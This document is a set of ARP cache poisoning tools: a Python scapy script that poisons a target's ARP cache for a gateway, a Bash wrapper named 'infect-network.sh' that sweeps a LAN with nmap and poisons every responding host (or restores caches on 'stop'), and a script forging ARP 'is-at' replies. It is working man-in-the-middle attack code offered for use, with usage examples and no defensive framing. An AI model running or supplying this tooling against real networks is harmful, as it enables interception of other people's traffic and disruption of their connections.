#!/usr/bin/python
 
from scapy.all import *
import sys
 
if len(sys.argv) == 3:
  gw=sys.argv[1]
  ip=sys.argv[2]
  arpcachepoison(ip,gw,1)
else:
  print "\nUsage: scapy_poison.py <gateway> <target>\n"
 

 
#!/bin/bash
 
APP=$(basename $0)
 
 
#
# Synopsis
#
usage()
{
	echo "
Usage: $APP [auto|stop|<source_ip> <lan|target_ip>]
 
Example:
$APP 172.168.248.243 172.168.248.130
> Use MAC address of 172.168.248.243 to send 'is-at' ARP packet in 172.168.248.130 cache
 
$APP 172.168.248.243 172.168.248.0/24
> Use MAC address of 172.168.248.243 to send 'is-at' ARP packet in cache
of every machine on 172.168.248.0/24 that respond to ARP request
 
$APP auto
> Use MAC address of attacker (this machine) to send 'is-at' ARP packet in cache
of every machine on your lan (could be very slow on /16 networks)
 
$APP stop
> Kill scapy threads and set back right (gateway's MAC) 'is-at' ARP packets
 
Script will poison ARP cache every machines that respond to ARP request.
"
	exit 0
 
}
 
 
 
#
# Script
#
if [ $# -ne 1 -a $# -ne 2 ]; then
 
	usage
 
else
 
	ifce=$(ifconfig|grep -B3 UP|grep -B2 inet|egrep -o "eth.|wlan."|head -n1)
	my_mac=$(ifconfig $ifce|grep -E "HWadd?r"|awk '{ print $5 }'|tr "A-F" "a-f")
	my_ip=$(ifconfig $ifce|grep -E "inet add?r:"|awk '{ print $2 }'|cut -d':' -f2)
	my_net=$(ifconfig $ifce|grep -E "inet add?r:"|awk '{ print $4 }'|cut -d':' -f2)
	lan=$(ipcalc -n $my_ip/$my_net|grep "Network"|awk '{ print $2 }')
	gw=$(route -n|grep UG|awk '{ print $2 }')
	gw_mac=$(arping -r -c 1 $gw)
 
fi
 
 
 
#
# Poison else unload
#
printf "\nUnloading (old) threads ..."
kill $(ps aux|grep python|grep scapy|grep -v grep|awk '{ print $2 }') >/dev/null 2>&1
printf "\b\b\b\b, done.\n"
 
 
if [ "$1" = "auto" ]; then
 
	printf "\nScanning the network $lan from $ifce/$my_ip\nGateway is $gw [$gw_mac]...\n"
	nmap -n -sn -T5 $lan|grep -B1 up|grep report|awk '{ print $5 }'|grep -v "$gw$"|while read target ;
	do
		target_mac=$(arping -c 2 -r $target|tail -n1)
		./scapy_poison.py $gw $target >/dev/null 2>&1 &
		printf "\n%-15s [$target_mac] -> new cache : $gw is at $my_mac" "$target"
	done
	printf "\n\n"
 
elif [ "$1" = "stop" ]; then
 
	printf "\nCleanning the network $lan from $ifce/$my_ip\nGateway is $gw [$gw_mac]...\n"
	nmap -n -sn -T5 $lan|grep -B1 up|grep report|awk '{ print $5 }'|grep -v "$gw$"|while read target ;
	do
		target_mac=$(arping -r -c 2 $target|tail -n1)
		./scapy_arp_reply.py $gw $gw_mac $target $target_mac >/dev/null 2>&1 &
		printf "\n%-15s [$target_mac] -> new cache : $gw is at $gw_mac" "$target"
	done
	printf "\n\n"
 
elif [ $# -eq 2 ]; then
 
	ip=$1
	ifconfig $ifce |grep "$ip " \
	 && ip_mac=$(ifconfig $ifce|grep -E "HWadd?r"|awk '{ print $5 }'|tr "A-F" "a-f") \
	 || ip_mac=$(arping -r -c 4 $ip|head -n1)
	lan=$2
 
	printf "\nScanning the network $lan from $ifce/$my_ip\nGateway is $gw [$gw_mac]\nAttacking with $ip [$ip_mac]...\n"
	nmap -n -sn -T5 $lan|grep -B1 up|grep report|awk '{ print $5 }'|grep -v "$gw$"|while read target ;
	do
		target_mac=$(arping -r -c 2 $target|tail -n1)
		[ -z "$target_mac" ] && continue
		./scapy_arp_reply.py $gw $ip_mac $target $target_mac >/dev/null 2>&1 &
		printf "\n%-15s [$target_mac] -> new cache : $gw is at $ip_mac" "$target"
	done
	printf "\n\n"
 
 
else
 
	usage
 
fi
 

 
#!/usr/bin/python
 
from scapy.all import *
import sys
 
if len(sys.argv) == 5:
 
  e=Ether()
  e.dst=sys.argv[4]
  e.src=sys.argv[2]
  e.type=0x0806
  # protocol ARP, information des entêtes matérielles (adresses MAC)
  a=ARP()
  a.ptype=0x0800
  # protocole IP, on s'arrête au niveau 3 de la couche ISO
  a.op=2
  # "is-at", réponse ARP
  a.hwsrc=sys.argv[2]
  a.psrc=sys.argv[1]
  a.hwdst=sys.argv[4]
  a.pdst=sys.argv[3]
 
  sendp(e/a,count=10)
 
else:
 
  print "\nUsage: scapy_clean_poison.py <source ip> <source mac> <target ip> <target mac>\n"
 

 
./infect-network.sh stop